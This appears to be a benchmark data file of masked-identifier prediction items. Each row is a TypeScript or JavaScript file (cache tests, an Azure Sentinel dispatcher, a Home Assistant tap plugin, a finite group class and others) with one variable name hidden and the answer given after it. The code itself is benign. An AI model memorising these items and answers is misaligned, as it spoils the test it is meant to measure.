          queries: cachedQueryInfo,
          range,
        },
      };
      const cache = new RelativeRangeCache(new Map(Object.entries(cacheData)));

      const cacheResult = cache.get(request);

      expect(cacheResult).toBeDefined()
      expect(cacheResult?.cachedResponse).toEqual({
        start: {
          data: expectedDataFrames,
          key: requestId,
          state: LoadingState.Streaming,
        },
        end: {
          data: [],
          key: requestId,
          state: LoadingState.Streaming,
        },
      });
      expect(cacheResult?.refreshingRequest).toEqual({
        ...request,
        targets: [
          {
            ...request.targets[0],  // only time series query
          },
        ],
        range: {
          from: dateTime(1716857100000),  // '2024-05-28T01:45:00Z'
          to: dateTime('2024-05-28T01:00:00Z'),
          raw: {
            from: 'now-1h',
            to: 'now'
            ,
          }
        }
      })
    });

    it('returns ending cached data and time series query to fetch', () => {
      const  [MASK]  = {
        requestId,
        interval: '5s',
        intervalMs: 5000,
        range,
        scopedVars: {},
        targets: [
          {
            refId: 'A',
            queryType: QueryType.PropertyValueHistory,
            timeOrdering: SiteWiseTimeOrder.DESCENDING,
          },
          {
            refId: 'B',
            queryType: QueryType.DescribeAsset,
          },
        ],
        timezone: 'browser',
        app: 'dashboard',
        startTime: 1716858000000,
      };
      const cachedQueryInfoDescending = [
        {
          query: {
            queryType: QueryType.PropertyValueHistory,
            refId: 'A',
            timeOrdering: SiteWiseTimeOrder.DESCENDING,
          },
          dataFrame: {
            name: 'Demo Turbine Asset 1',
            refId: 'A',
            fields: [
              {
                name: 'time',
                type: FieldType.time,
                config: {},
                values: [
                  1716857100001,  // 2024-05-28T00:45:00Z + 1ms
                  1716857100000,  // 2024-05-28T00:45:00Z
                  1716855300001,  // 2024-05-28T00:15:00Z + 1ms
                  1716855300000,  // 2024-05-28T00:15:00Z
                  1716854400001,  // 2024-05-28T00:15:00Z + 1ms
                  1716854400000,  // 2024-05-28T00:00:00Z
                ],
              },
              {
                name: 'RotationsPerSecond',
                type: FieldType.number,
                config: {
                  unit: 'RPS'
                },
                values: [5,4,3,2,1,0],
              },
            ],
            length: 6
          },
        },
        {
          query: {
            queryType: QueryType.ListAssociatedAssets,
            refId: 'B',
          },
          dataFrame: {
            name: 'child',
            refId: 'B',
            fields: [
              {
                  name: 'name',
                  type: FieldType.string,
                  config: {},
                  values: [
                    'child'
                  ],
              },
            ],
            length: 1
          },
        }
      ];
      const expectedStartDataFrames = [
        {
          name: 'Demo Turbine Asset 1',
          refId: 'A',
          fields: [],
          length: 0,
        },
        {
          name: 'child',
          refId: 'B',
          fields: [
            {
                name: 'name',
                type: FieldType.string,
                config: {},
                values: [
                  'child'
                ],
            },
          ],
          length: 1
        }
      ];
      const expectedEndingDataFrames = [
        {
          name: 'Demo Turbine Asset 1',
          refId: 'A',
          fields: [
            {
              name: 'time',
              type: FieldType.time,
              config: {},
              values: [
                1716857100000,  // 2024-05-28T00:45:00Z
                1716855300001,  // 2024-05-28T00:15:00Z + 1ms
                1716855300000,  // 2024-05-28T00:15:00Z
                1716854400001,  // 2024-05-28T00:15:00Z + 1ms
              ],
            },
            {
              name: 'RotationsPerSecond',
              type: FieldType.number,
              config: {
                unit: 'RPS'
              },
              values: [4,3,2,1],
            },
          ],
          length: 4
        }
      ];
      
      const cacheData = {
        [generateSiteWiseRequestCacheId( [MASK] )]: {
          queries: cachedQueryInfoDescending,
          range,
        },
      };
      const cache = new RelativeRangeCache(new Map(Object.entries(cacheData)));

      const cacheResult = cache.get( [MASK] );

      expect(cacheResult).toBeDefined()
      expect(cacheResult?.cachedResponse).toEqual({
        start: {
          data: expectedStartDataFrames,
          key: requestId,
          state: LoadingState.Streaming,
        },
        end: {
          data: expectedEndingDataFrames,
          key: requestId,
          state: LoadingState.Streaming,
        },
      });
      expect(cacheResult?.refreshingRequest).toEqual({
        ... [MASK] ,
        targets: [
          {
            ... [MASK] .targets[0],  // only time series query
          },
        ],
        range: {
          from: dateTime(1716857100000),  // '2024-05-28T01:45:00Z'
          to: dateTime('2024-05-28T01:00:00Z'),
          raw: {
            from: 'now-1h',
            to: 'now'
            ,
          }
        }
      })
    });
  });

  describe('set()', () => {
    const cachedQueryInfo = [
      {
        query: {
          queryType: QueryType.PropertyValueHistory,
          refId: 'A',
        },
        dataFrame: {
          name: 'Demo Turbine Asset 1',
          refId: 'A',
          fields: [
            {
              name: 'time',
              type: FieldType.time,
              config: {},
              values: [
                1716854400001,  // 2024-05-28T00:15:00Z + 1ms
                1716855300000,  // 2024-05-28T00:15:00Z
                1716855300001,  // 2024-05-28T00:15:00Z + 1ms
                1716857100000,  // 2024-05-28T00:45:00Z
              ],
            },
            {
              name: 'RotationsPerSecond',
              type: FieldType.number,
              config: {
                unit: 'RPS'
              },
              values: [1,2,3,4],
            },
          ],
          length: 4
        },
      },
      {
        query: {
          queryType: QueryType.DescribeAsset,
          refId: 'B',
        },
        dataFrame: {
          name: 'child',
          refId: 'B',
          fields: [
            {
                name: 'name',
                type: FieldType.string,
                config: {},
                values: [
                  'child'
                ],
            },
          ],
          length: 1
        },
      }
    ];  
    const expectedDataFrames = [
      {
        name: 'Demo Turbine Asset 1',
        refId: 'A',
        fields: [
          {
            name: 'time',
            type: FieldType.time,
            config: {},
            values: [
              1716854400001,  // 2024-05-28T00:15:00Z + 1ms
              1716855300000,  // 2024-05-28T00:15:00Z
              1716855300001,  // 2024-05-28T00:15:00Z + 1ms
              1716857100000,  // 2024-05-28T00:45:00Z
            ],
          },
          {
            name: 'RotationsPerSecond',
            type: FieldType.number,
            config: {
              unit: 'RPS'
            },
            values: [1,2,3,4],
          },
        ],
        length: 4
      },
      {
        name: 'child',
        refId: 'B',
        fields: [
          {
              name: 'name',
              type: FieldType.string,
              config: {},
              values: [
                'child'
              ],
          },
        ],
        length: 1
      },
    ];

    it('does nothing when any query with client cache disabled', () => {
      const cacheMap = new Map();
      const cache = new RelativeRangeCache(cacheMap);
  
      cache.set(requestDisabledCache, {
        data: expectedDataFrames,
      });
  
      expect(cacheMap.size).toBe(0);
    });

    it('set request/response pair', () => {
      const cacheData = {
        [generateSiteWiseRequestCacheId(request)]: {
          queries: cachedQueryInfo,
          range,
        },
      };
      const expectedCacheMap = new Map(Object.entries(cacheData));
  
      const cacheMap = new Map();
      const cache = new RelativeRangeCache(cacheMap);
  
      cache.set(request, {
        data: expectedDataFrames,
      });
  
      expect(cacheMap).toEqual(expectedCacheMap);
    });
  });
});
",requestDescending
280,"import {v4 as uuid} from 'uuid';
import axios from ""axios"";
import * as log4js from 'log4js';
const logger = log4js.getLogger('azure-sentinel-dispatcher');
logger.level = process.env.LOG_LEVEL || 'info';
const express = require(""express"");
const { HTTP } = require(""cloudevents"");
const app = express();
const msal = require('@azure/msal-node');


const AZURE_SUBSCRIPTION_ID =  process.env.AZURE_SUBSCRIPTION_ID;
const AZURE_RESOURCE_GROUP =  process.env.AZURE_RESOURCE_GROUP;
const AZURE_WORKSPACE =  process.env.AZURE_WORKSPACE;
const AZURE_CLIENT_SECRET =  process.env.AZURE_CLIENT_SECRET;
const AZURE_CLIENT_ID =  process.env.AZURE_CLIENT_ID;
const AZURE_TENANT_ID =  process.env.AZURE_TENANT_ID;


const AZURE_API_VERSION = '2020-01-01';

const incidentId = uuid();

const requestUrl = `https://management.azure.com/subscriptions/${AZURE_SUBSCRIPTION_ID}/`
          + `resourceGroups/${AZURE_RESOURCE_GROUP}/`
          + `providers/Microsoft.OperationalInsights/workspaces/${AZURE_WORKSPACE}/`
          + `providers/Microsoft.SecurityInsights/incidents/${incidentId}?api-version=${AZURE_API_VERSION}`;


app.use((req, res, next) => {
  let data = """";

  req.setEncoding(""utf8"");
  req.on(""data"", function ( [MASK] ) {
    data +=  [MASK] ;
  });

  req.on(""end"", function () {
    req.body = data;
    next();
  });
});

app.post(""/"", async (req, res) => {
  const msalConfig = {
    auth: {
        clientId: AZURE_CLIENT_ID,
        authority: ""https://login.microsoftonline.com/"" + AZURE_TENANT_ID,
        clientSecret: AZURE_CLIENT_SECRET,
    }
  };
  const cca = new msal.ConfidentialClientApplication(msalConfig);

  const tokenRequest = {
    scopes: [ 'https://management.azure.com/.default' ],
};

const getTokenResponse = await cca.acquireTokenByClientCredential(tokenRequest);
  var event

  try {
    event = HTTP.toEvent({ headers: req.headers, body: req.body });

  } catch (err) {
    console.error(err);
    res.status(415).header(""Content-Type"", ""application/json"").send(JSON.stringify(err));
  }


  const incident = {
      ""properties"": {
          ""severity"": ""High"",
          ""status"": ""Active"",
          ""title"": event.data.event.event.metadata.name,
          ""description"": event.data.event.event.metadata.shortDescription,
          ""additionalData"": {
              ""alertProductNames"": [
                event.data.event.event.resources[0].platform,
                event.data.event.event.resources[0].accountId,
                event.data.event.event.resources[0].region,
                event.data.event.event.resources[0].service,
                event.data.event.event.resources[0].type + ':' + event.data.event.event.resources[0].name + ':' + event.data.event.event.resources[0].guid
              ]
          },
          ""labels"": [
              {
                  ""labelName"": event.data.event.event.reporter.name,
                  ""labelType"": ""User""
              }
          ]
      }
  };


  try {
    const result = await axios.put(requestUrl, incident,{
        headers: {
            'Authorization': `Bearer ${getTokenResponse.accessToken}`
        }
    });
    console.log(result);
    if (result.status === 200 || result.status === 201) {
        logger.debug('incident successfully dispatched');
        console.log('incident successfully dispatched');
    } else {
        logger.error('failed to dispatch incident', result);
        res.status(500).send(result);
    }
} catch (e) {
    logger.error('failed to dispatch incident', e);
    res.status(500).send(e);
}

  res.status(200).header(""Content-Type"", ""application/json"").send(""ok"");
});

app.listen(8080, () => {
  console.log(""Example app listening on port 8080!"");
});
",chunk
281,"window.addEventListener(""load"", () => {
    // Handle disabling all relevant inputs if one patient selection method has been interacted with
    const patientInputs = Array.from(
        document.querySelectorAll<HTMLInputElement>("".patient-option input, .patient-option select"") || [],
    );
    patientInputs.forEach((input) => {
        input.addEventListener(""change"", () => {
            const siblings = Array.from(
                input.closest("".patient-option"")?.querySelectorAll<HTMLInputElement>(""input, select"") || [],
            );
            patientInputs.forEach(( [MASK] ) => {
                if (!siblings.includes( [MASK] )) {
                    /* eslint-disable-next-line no-param-reassign */
                     [MASK] .disabled = true;
                }
            });

            const reset = input.closest("".patient-option"")?.querySelector("".form-reset"") as HTMLElement;
            reset.classList.remove(""hidden"");
        });
    });

    // Handle resetting all patient selection input fields
    const resets = document.querySelectorAll<HTMLElement>("".form-reset"");
    resets.forEach((reset) => {
        reset.addEventListener(""click"", () => {
            patientInputs.forEach((input) => {
                /* eslint-disable-next-line no-param-reassign */
                input.value = input.defaultValue;
                /* eslint-disable-next-line no-param-reassign */
                input.disabled = false;
            });
            resets.forEach((reset) => {
                reset.classList.add(""hidden"");
            });
        });
    });

    // Handle displaying and updating the selected approximate age of emergency patients
    const ageSlider = document.querySelector(""#id_unknown-approximate_age"") as HTMLInputElement;
    const ageDisplay = document.querySelector(""#approximate-age-display"") as HTMLElement;
    if (!ageSlider || !ageDisplay) {
        return;
    }
    ageSlider.addEventListener(""input"", () => {
        ageDisplay.innerHTML = ageSlider.value;
    });

    // If a patient was passed to the intake form, use it
    const patientSearch = document.querySelector(""#id_patient"");
    const urlParams = new URLSearchParams(window.location.href);
    if (urlParams.get(""patient"") && patientSearch) {
        patientSearch.dispatchEvent(new Event(""change""));
    }
});
",otherInput
282,"import {
    createAgent
  } from ""@connectifi/agent-web"";
  
  let selectedChannel : string | null = null;

  document.addEventListener('DOMContentLoaded',async () => {
    const fdc3 = await createAgent('https://platform.connectifi.app', 'example@sandbox', {
        headless:true,
        onChannelJoined: joinHandler,
        onChannelLeft: leaveHandler,
    });

    const picker = document.getElementById('picker');
    const  [MASK]  = await fdc3?.getUserChannels();
     [MASK] ?.forEach((channel) => {
        const item = document.createElement('div');
        item.classList.add('channel');
        item.id = channel.id;
        item.style.backgroundColor = channel.displayMetadata?.color || '';
        item.addEventListener('click', () => {
            //if the channel selected is the current channel, then unjoin it
            if (selectedChannel === channel.id){
                fdc3?.leaveCurrentChannel();
            } else {
                fdc3?.joinUserChannel(channel.id);
            }
        })
        picker?.appendChild(item);
    });

  });

  const joinHandler = (channelId: string) => {
    //reset the selected element
    if (selectedChannel) {
        const oldChannel = document.getElementById(selectedChannel);
        if (oldChannel){
            oldChannel.textContent = '';
        }
    }
    selectedChannel = channelId;
    //mark the selected one
    const channelElement = document.getElementById(channelId);
    if (channelElement){
        channelElement.textContent = 'X';
    }
  }

  const leaveHandler = () => {
    if (selectedChannel) {
        const oldChannel = document.getElementById(selectedChannel);
        if (oldChannel){
            oldChannel.textContent = '';
        }
        selectedChannel = null;
    }
  }",userChannels
283,"import { MultiplicationTable } from ""./MultiplicationTable""
import { range } from ""./utils""

export class FiniteGroup<T> {
    private _identity: T
    get identity() { return this._identity }

    readonly order = this.table.size
    readonly elements = this.table.elements

    constructor (public readonly table: Readonly<MultiplicationTable<T>>) {
        if (!table.isRearangable()) throw new TypeError('Group can only be constructed from a rearangable multiplication table.')
        if (!table.isAssociative()) throw new TypeError('Group can only be constructed from an associative multiplication table.')

        const identity = table.findIdentity();
        if (identity === null) throw new TypeError('Group must have a unique both-sided identity element.')

        this._identity = identity
    }

    hasElement(g: T): boolean {
        return this.table.indexMap.has(g)
    }

    multiply(...args: T[]): T {
        return args.reduce((a, b) => this.table.multiply(a, b));
    }

    mul = this.multiply.bind(this)

    /** Quick inverse without type checks */
    _inv = (g: number) => this.table.elements[this.table.data[g].indexOf(this._identity)];

    inverse(g: T): T {
        const { table } = this
        if (!table.indexMap.has(g)) throw new TypeError('Cannot invert an unknown element.')

        const row = this.table.data[table.indexMap.get(g)!]
        const  [MASK]  = row.indexOf(this._identity)

        return this.table.elements[ [MASK] ]
    }

    inv = this.inverse.bind(this)


    private _classes: Set<T>[] | null = null
    private _allClassesFound = false

    classOf(g: T): Set<T> {
        const { elements, mul, inv } = this
        if (this._classes === null) this._classes = []

        let c: Set<T> | undefined
        if (c = this._classes.find(c => c.has(g))) return c

        c = new Set()
        for (let h of elements) {
            c.add(mul(h, g, inv(h)))
        }

        this._classes.push(c)

        return c
    }

    get classes(): readonly Set<T>[] {
        if (this._classes === null) this._classes = []
        if (this._allClassesFound) return this._classes

        for (let g of this.elements) {
            if (this._classes.some(c => c.has(g))) continue
            this._classes.push(this.classOf(g))
        }

        this._allClassesFound = true
        return this._classes
    }
}
",indexOfInverse
284,"import { Address } from ""@graphprotocol/graph-ts"";
import { Creator } from ""../../generated/schema"";
import * as constant from ""../constant"";
import { getOrCreatePlatform } from ""./platform"";

export function getOrCreateCreator(id: Address): Creator {
  let  [MASK]  = Creator.load(id.toHex());

  if ( [MASK] ) {
    return  [MASK] ;
  }

   [MASK]  = new Creator(id.toHex());

   [MASK] .address = id;
   [MASK] .nftTokenAddress = constant.NULL_ADDRESS;
   [MASK] .metadataURI = """";
   [MASK] .twitterHandle = """";
   [MASK] .lensHandle = """";
   [MASK] .bio = """";
   [MASK] .deliveryTime = constant.BIGINT_ZERO;
   [MASK] .demos = [];
   [MASK] .profilePicture = """";
   [MASK] .userName = """";
   [MASK] .price = constant.DEFAULT_PRICE;
   [MASK] .businessPrice = constant.DEFAULT_BUSINESS_PRICE;
   [MASK] .customServices = [];
   [MASK] .txHash = constant.NULL_ADDRESS;
   [MASK] .block = constant.BIGINT_ZERO;
   [MASK] .timestamp = constant.BIGINT_ZERO;
   [MASK] .updated = constant.BIGINT_ZERO;
   [MASK] .save();

  let platform = getOrCreatePlatform(constant.Version.v1);

  platform.totalCreators = platform.totalCreators + 1;
  platform.save();

  return  [MASK] ;
}

export class CreatorStruct {
  nft: Address;
  metadataURI: string;

  constructor(nft: Address, metadataURI: string) {
    (this.nft = nft), (this.metadataURI = metadataURI);
  }
}
",creator
285,"import {logger} from ""@atomist/automation-client"";
import fs = require(""fs"");
import _ = require(""lodash"");
import stripJsonComments = require(""strip-json-comments"");
import {Cluster} from ""./Cluster"";
import {HttpAuth} from ""./HttpAuth"";
import {SubatomicConfig} from ""./SubatomicConfig"";

export class QMConfig {

    public static subatomic: SubatomicConfig;

    public static teamId: string;

    public static token: string;

    public static http: HttpAuth;

    public static cluster: Cluster;

    public static publicConfig() {
        return new PublicQMConfig();
    }

    public static initialize() {
        const  [MASK]  = stripJsonComments(fs.readFileSync(this.getConfigFile()).toString());
        const config = JSON.parse( [MASK] );
        QMConfig.subatomic = config.subatomic;
        QMConfig.teamId = config.teamId;
        QMConfig.token = config.token;
        QMConfig.http = config.http;
        QMConfig.cluster = config.cluster || {
            enabled: process.env.NODE_ENV === ""production"",
            workers: 10,
        };
    }

    private static getConfigFile() {
        let configFile = """";
        logger.info(`Searching folder: config/`);
        fs.readdirSync(`config/`).forEach(file => {
            logger.info(`Found file: ${file}`);
            if (file.endsWith(""local.json"")) {
                configFile = file;
            } else if (file.endsWith(""config.json"") && configFile !== ""local.json"") {
                configFile = file;
            } else if (file.endsWith("".json"") && configFile === """") {
                configFile = file;
            }
        });
        if (configFile === """") {
            logger.error(""Failed to read config file in config/ directory. Exiting."");
            process.exit(1);
        }
        logger.info(`Using config file: ${configFile}`);
        return `config/${configFile}`;
    }

}

export class PublicQMConfig {

    public subatomic: SubatomicConfig = _.cloneDeep(QMConfig.subatomic);

    public teamId: string = _.cloneDeep(QMConfig.teamId);

    constructor() {
        this.subatomic.bitbucket.auth.email = """";
        this.subatomic.bitbucket.auth.password = """";
        this.subatomic.bitbucket.auth.username = """";
        this.subatomic.bitbucket.cicdKey = """";
        this.subatomic.bitbucket.cicdPrivateKeyPath = """";
        this.subatomic.bitbucket.caPath = """";
        this.subatomic.openshiftNonProd.auth.token = """";
    }
}

QMConfig.initialize();
",configRaw
286,"import { Component, OnInit, ViewChild, AfterViewInit, OnDestroy, ViewContainerRef } from '@angular/core';
import { Subscription } from 'rxjs';
import { ModalService } from './modal.service';
declare var $;

@Component({
  selector: 'app-modal',
  template: `
    <div #inner></div>
    `,
  styleUrls: ['./modal.component.css']
})
export class ModalComponent implements OnInit , AfterViewInit, OnDestroy {
  @ViewChild('inner', { read: ViewContainerRef }) vcr;
  private subscription: Subscription;
  public display = 'none';

  constructor(private modal: ModalService) { }

  ngAfterViewInit() {
    this.modal.vcr = this.vcr;
  }

  ngOnInit() {
    this.subscription = this.modal.content$.subscribe(
      value => {
        if (value) {
          console.log('dialog open');
          this.display = '';
//          this.open();
        } else {
          this.display = 'none';
          console.log('dialog none');
        }
      });
  }

  containerClick( [MASK] ) {
     [MASK] .stopPropagation();
  }

  close() {
    $('iceword').modal('hide');
    this.modal.close();
  }

  ngOnDestroy() {
    this.subscription.unsubscribe();
  }
  open() {
    $('icesword').modal();
  }
}
",$event
287,"import type { INetwork } from '@onekeyhq/engine/src/types';
import { CHAINS_DISPLAYED_IN_DEV } from '@onekeyhq/shared/src/engine/engineConsts';
import platformEnv from '@onekeyhq/shared/src/platformEnv';

import logoUrl from '@onekeyhq/kit/src/utils/data/logoUrl';

import { makeSelector } from './redux';

export type IManageNetworks = {
  allNetworks: INetwork[];
  enabledNetworks: INetwork[];
};

const emptyArray = Object.freeze([]);


const DEToken = {
  ""id"": ""e<PASSWORD>"",
  ""name"": ""DE"",
  ""impl"": ""evm"",
  ""symbol"": ""DE"",
  ""logoURI"": logoUrl.DE,
  ""enabled"": true,
  ""feeSymbol"": ""Gwei"",
  ""decimals"": 18,
  ""feeDecimals"": 9,
  ""balance2FeeDecimals"": 9,
  ""rpcURL"": ""http://dechain13.depaas.net:8545"",
  ""explorerURL"": ""127.0.0.1/"",
  ""shortName"": ""DE"",
  ""shortCode"": """",
  ""preset"": false,
  ""isTestnet"": false,
  ""nativeDisplayDecimals"": 6,
  ""tokenDisplayDecimals"": 4,
  ""extraInfo"": {
    ""chainId"": ""0x2328"",
    ""networkVersion"": ""9000""
  },
  ""accountNameInfo"": {
    ""default"": {
      ""prefix"": ""EVM"",
      ""category"": ""44'/60'"",
      ""template"": ""m/44'/60'/0'/0/$$INDEX$$"",
      ""coinType"": ""60"",
      ""label"": {
        ""id"": ""form__bip44_standard""
      },
      ""desc"": {
        ""id"": ""form__bip44_standard_desc""
      },
      ""recommended"": true
    },
    ""etcNative"": {
      ""prefix"": ""ETC-Native"",
      ""category"": ""44'/61'"",
      ""template"": ""m/44'/61'/0'/0/$$INDEX$$"",
      ""coinType"": ""61"",
      ""label"": {
        ""id"": ""form__bip44_standard_cointype_61""
      }
    },
    ""ledgerLive"": {
      ""prefix"": ""Ledger Live"",
      ""category"": ""44'/60'"",
      ""template"": ""m/44'/60'/$$INDEX$$'/0/0"",
      ""coinType"": ""60"",
      ""label"": ""Ledger Live""
    }
  },
  ""blockExplorerURL"": {
    ""name"": ""127.0.0.1/"",
    ""address"": ""127.0.0.1/#/address?addressId={address}"",
    ""block"": ""127.0.0.1/block/{block}"",
    ""transaction"": ""127.0.0.1/transaction/{transaction}""
  },
  ""settings"": {
    ""feeInfoEditable"": true,
    ""privateKeyExportEnabled"": true,
    ""tokenEnabled"": true,
    ""txCanBeReplaced"": true,
    ""importedAccountEnabled"": true,
    ""hardwareAccountEnabled"": true,
    ""externalAccountEnabled"": true,
    ""watchingAccountEnabled"": true,
    ""isUTXOModel"": false,
    ""subNetworkSettings"": {
      ""evm--86"": {
        ""isIntegerGasPrice"": true
      }
    },
    ""supportDeflationary"": true,
    ""supportFilterScam"": true,
    ""supportBatchTransfer"": true,
    ""batchTokenTransferApprovalRequired"": true,
    ""accountNameInfo"": {
      ""default"": {
        ""prefix"": ""EVM"",
        ""category"": ""44'/60'"",
        ""template"": ""m/44'/60'/0'/0/$$INDEX$$"",
        ""coinType"": ""60"",
        ""label"": {
          ""id"": ""form__bip44_standard""
        },
        ""desc"": {
          ""id"": ""form__bip44_standard_desc""
        },
        ""recommended"": true
      },
      ""etcNative"": {
        ""prefix"": ""ETC-Native"",
        ""category"": ""44'/61'"",
        ""template"": ""m/44'/61'/0'/0/$$INDEX$$"",
        ""coinType"": ""61"",
        ""label"": {
          ""id"": ""form__bip44_standard_cointype_61""
        }
      },
      ""ledgerLive"": {
        ""prefix"": ""Ledger Live"",
        ""category"": ""44'/60'"",
        ""template"": ""m/44'/60'/$$INDEX$$'/0/0"",
        ""coinType"": ""60"",
        ""label"": ""Ledger Live""
      }
    }
  }
}


export const { use: useManageNetworks, get: getManageNetworks } =
  makeSelector<IManageNetworks>((selector, { useMemo }) => {
    const devModeEnable = selector((s) => s.settings.devMode)?.enable;
    const networks = selector((s) => s.runtime.networks) ?? emptyArray;

    const [allNetworks, enabledNetworks] = useMemo(() => {
      const chainsToHide = devModeEnable ? [] : CHAINS_DISPLAYED_IN_DEV;

      const all = networks.filter(
        (network) =>
          !chainsToHide.includes(network.impl) &&
          (platformEnv.isExtension
            ? !network.settings.disabledInExtension
            : true),
      );
      let enabled = all.filter((network) => network.enabled);

      enabled = enabled.filter((e) => e.id !== 'evm--undefined')
      
      const  [MASK]  = enabled.findIndex((e) => e.id === 'evm--9000')
      if ( [MASK]  !== -1) {
        enabled.splice( [MASK] , 1);
        enabled.splice(2, 0, DEToken);
      }
      return [all, enabled];
    }, [devModeEnable, networks]);

    return {
      allNetworks,
      enabledNetworks,
    };
  });
",subscript
288,"import {
    HAQuerySelector,
    HAQuerySelectorEvent,
    OnListenDetail
} from 'home-assistant-query-selector';
import HomeAssistantJavaScriptTemplates,
{
    HomeAssistantJavaScriptTemplatesRenderer,
    HomeAssistant as HomeAssistantExtended
} from 'home-assistant-javascript-templates';
import {
    HomeAssistant,
    Config,
    Secret,
    ServiceSecret,
    MoreInfoSecret,
    NavigateSecret
} from 'types';
import {
    NAMESPACE,
    DEFAULT_THRESHOLD,
    GESTURES,
    EVENT,
    TYPEOF,
    DOMAIN_ENTITY_REGEXP
} from '@constants';
import {
    logVersionToConsole,
    fetchConfig,
    getSecrets,
    isServiceSecret,
    isMoreInfoSecret,
    isNavigateSecret,
    isToggleMenuSecret,
    isJavaScriptSecret,
    compareArrays
} from '@utilities';
import 'hammerjs';

class HomeAssistantSecretTaps {

    constructor() {

        const selector = new HAQuerySelector();

        selector.addEventListener(
            HAQuerySelectorEvent.ON_LISTEN,
            (event: CustomEvent<OnListenDetail>) => {

                Promise.all([
                    fetchConfig(),
                    event.detail.HOME_ASSISTANT.element,
                    event.detail.HOME_ASSISTANT_MAIN.element
                ]).then(([config, homeAssistant, homeAssistantMain]) => {

                    if (config.enabled) {

                        this._config = config;
                        this._threshold = config.threshold || DEFAULT_THRESHOLD;
                        this._ha = homeAssistant as HomeAssistant;
                        this._main = homeAssistantMain as HTMLElement;

                        this._log('configuration loaded, printing configuration...');
                        this._log(this._config);

                        this._secrets = getSecrets(this._config, this._ha.hass.user);
                        this._log(`secrets queried for ${this._ha.hass.user.name}, printing secrets...`);
                        this._log(this._secrets);

                        const haJsTemplates = new HomeAssistantJavaScriptTemplates(
                            homeAssistant as HomeAssistantExtended,
                            {
                                autoReturn: false
                            }
                        );

                        haJsTemplates.getRenderer()
                            .then((renderer: HomeAssistantJavaScriptTemplatesRenderer): void => {
                                this._renderer = renderer;
                                this._log('JavaScript renderer initialised, starting the plugin');
                                this._start();
                            });

                    }

                });

            },
            {
                once: true
            }
        );

        selector.listen();

    }

    private _config: Config;
    private _threshold: number;
    private _ha: HomeAssistant;
    private _main: HTMLElement;
    private _renderer: HomeAssistantJavaScriptTemplatesRenderer;
    private _secrets: Secret[];
    private _taps: HammerManager;
    private _stack: string[] | null;
    private _eventTimeoutId: number;


    private _log(message: string | object): void {
        if (this._config.debug) {
            const logMessage = typeof message === TYPEOF.OBJECT
                ? JSON.stringify(message, null, 4)
                : message;
            console.log(`${NAMESPACE}: ${logMessage}`);
        }
    }

    private _callService(secret: ServiceSecret): void {
        const { service, data = {} } = secret;
        const  [MASK]  = service.match(DOMAIN_ENTITY_REGEXP);
        this._ha.hass.callService(
             [MASK] [1],
             [MASK] [2],
            data
        );
    }

    private _openMoreInfo(secret: MoreInfoSecret): void {
        this._ha.dispatchEvent(
            new CustomEvent(
                EVENT.HASS_MORE_INFO,
                {
                    detail: {
                        entityId: secret.entity_id
                    }
                }
            )
        );
    }

    private _navigate(secret: NavigateSecret): void {
        const { navigation_path, navigation_replace = false } = secret;
        const params: Parameters<typeof window.history.replaceState> = [
            null,
            '',
            navigation_path
        ];
        if (navigation_replace) {
            window.history.replaceState(...params);
        } else {
            window.history.pushState(...params);
        }
        window.dispatchEvent(
            new CustomEvent(
                EVENT.LOCATION_CHANGED,
                {
                    detail: {
                        replace: navigation_replace
                    }
                }
            )
        );
    }

    private _toggleMenu() {
        this._main.dispatchEvent(
            new Event(
                EVENT.HASS_TOGGLE_MENU
            )
        );
    }

    private _executeJavaScript(code: string): void {
        this._renderer.renderTemplate(code);
    }

    private _showNotification(message: string): void {
        this._ha.dispatchEvent(
            new CustomEvent(
                EVENT.HASS_NOTIFICATION,
                {
                    detail: {
                        message,
                        dismissable: true
                    }
                }
            )
        );
    }

    private _execute(secret: Secret): void {

        let executed = false;

        if (isServiceSecret(secret)) {

            this._callService(secret);
            executed = true;

        } else if (isMoreInfoSecret(secret)) {

            this._openMoreInfo(secret);
            executed = true;

        } else if (isNavigateSecret(secret)) {

            this._navigate(secret);
            executed = true;

        } else if (isToggleMenuSecret(secret)) {

            this._toggleMenu();
            executed = true;

        } else if (isJavaScriptSecret(secret)) {

            this._executeJavaScript(secret.code.trim());
            executed = true;

        }

        this._log(
            executed
                ? 'secret executed!'
                : 'secret NOT executed! secret with errors'
        );

        this._log(secret);

        if (this._config.notification) {

            this._showNotification(
                executed
                    ? 'secret taps successfully executed!'
                    : 'secret taps failed! Review your secret config!'
            );

        }

    }

    private _processTaps(): void {

        this._log('checking if there is a scret with the previous event stack');

        const secret = this._secrets.find((secret: Secret): boolean => {
            return compareArrays(this._stack, secret.taps);
        });

        if (secret) {
            this._log('secret found, executing secret');
            this._execute(secret);
        }

    }

    private _trackTap(event: HammerInput): void {

        this._log(`event ${event.type} fired`);

        window.clearTimeout(this._eventTimeoutId);

        this._stack = this._stack || [];

        this._stack.push(event.type);

        this._log('printig event stack...');
        this._log(this._stack.join(' » '));

        this._eventTimeoutId = window.setTimeout(() => {

            this._processTaps();

            this._stack = null;

        }, this._threshold);

    }

    private _start(): void {

        delete Hammer.defaults.cssProps;

        this._taps = new Hammer.Manager(this._ha);

        const commonProps = {
            threshold: 10,
            posThreshold: 15
        };

        const tripleTap = new Hammer.Tap({
            event: GESTURES.TRIPLE_TAP,
            taps: 3,
            ...commonProps
        });

        const doubleTap = new Hammer.Tap({
            event: GESTURES.DOUBLE_TAP,
            taps: 2,
            ...commonProps
        });

        const singleTap = new Hammer.Tap({
            event: GESTURES.TAP,
            ...commonProps
        });

        this._taps.add([
            tripleTap,
            doubleTap,
            singleTap
        ]);

        tripleTap.recognizeWith([doubleTap, singleTap]);
        doubleTap.recognizeWith(singleTap);

        doubleTap.requireFailure(tripleTap);
        singleTap.requireFailure([doubleTap, tripleTap]);

        this._taps.on(Object.values(GESTURES).join(' '), (event: HammerInput): void => {
            this._trackTap(event);
        });

    }

}

if (!window.HomeAssistantSecretTaps) {
    logVersionToConsole();
    window.HomeAssistantSecretTaps = new HomeAssistantSecretTaps();
}",matches
289,"import { web3 } from ""@coral-xyz/anchor"";
import * as anchor from ""@coral-xyz/anchor"";
import idl from ""@/utils/smart-contract/event_protocol.json"";
import { EventProtocol } from ""@/utils/smart-contract/event_protocol"";
import { useAnchorWallet } from ""@solana/wallet-adapter-react"";
import { useUserStore } from ""@/stores/userStore"";
import { useMemo } from ""react"";

export const useAnchor = () => {
	const wallet = useAnchorWallet();
	const { network } = useUserStore();

	const  [MASK]  = useMemo(() => {
		switch (network) {
			case ""solana"":
				return web3.clusterApiUrl(""devnet"");
			case ""sonic"":
				return ""https://devnet.sonic.game"";
			default:
				return web3.clusterApiUrl(""devnet"");
		}
	}, [network]);

